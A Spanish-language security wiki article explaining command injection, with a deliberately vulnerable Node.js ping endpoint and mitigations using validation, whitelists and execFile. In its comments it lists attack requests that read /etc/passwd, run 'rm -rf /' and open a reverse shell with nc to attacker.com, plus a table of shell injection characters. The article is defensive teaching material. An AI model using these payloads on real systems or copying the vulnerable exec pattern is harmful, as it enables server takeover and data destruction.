Wiki/Vulnerabilidades/Command Injection
Intermedio
CVSS 9.8 - Crítico
20 min

Command Injection

Ejecución de comandos del sistema operativo a través de input del usuario

¿Qué es Command Injection?

Ocurre cuando una aplicación ejecuta comandos del sistema usando input del usuario sin validación, permitiendo al atacante ejecutar comandos arbitrarios en el servidor.

Ejemplo Vulnerable

// Node.js - VULNERABLE
const { exec } = require('child_process');

app.get('/ping', (req, res) => {
  const ip = req.query.ip;
  // ❌ PELIGROSO: concatenar input del usuario
  exec(`ping -c 4 ${ip}`, (error, stdout) => {
    res.send(stdout);
  });
});

// Ataque:
// GET /ping?ip=8.8.8.8; cat /etc/passwd
// GET /ping?ip=8.8.8.8 && rm -rf /
// GET /ping?ip=8.8.8.8 | nc attacker.com 4444 -e /bin/bash

Caracteres de Inyección

; cmd      # Ejecutar cmd después
| cmd      # Pipe output a cmd
|| cmd     # OR lógico (ejecuta si falla el primero)
& cmd      # Ejecutar en background
&& cmd     # AND lógico
`cmd`     # Command substitution
$(cmd)    # Command substitution
> file    # Redirigir output
< file    # Redirigir input
%0a cmd   # Newline (URL encoded)

Mitigación

1. NO usar exec/system

// ✅ Usar librerías específicas en lugar de comandos shell
// Mal: exec('ping ' + ip)
// Bien: usar librería de ping

const ping = require('ping');
const result = await ping.promise.probe(ip, { timeout: 10 });

// Para operaciones de archivos, usar APIs de Node
const fs = require('fs/promises');
await fs.readFile(filename); // NO usar cat filename

2. Validación Estricta

// Si DEBES usar exec, validar input
const ipRegex = /^(\d{1,3}\.){3}\d{1,3}$/;

if (!ipRegex.test(ip)) {
  return res.status(400).json({ error: 'Invalid IP' });
}

// Whitelist de valores permitidos
const allowedCommands = ['start', 'stop', 'status'];
if (!allowedCommands.includes(command)) {
  return res.status(400).json({ error: 'Invalid command' });
}

3. Usar execFile con argumentos

const { execFile } = require('child_process');

// ✅ execFile NO invoca shell, pasa argumentos directamente
execFile('ping', ['-c', '4', ip], (error, stdout) => {
  if (error) {
    return res.status(500).json({ error: 'Ping failed' });
  }
  res.send(stdout);
});

// Los caracteres especiales se tratan como literales, no comandos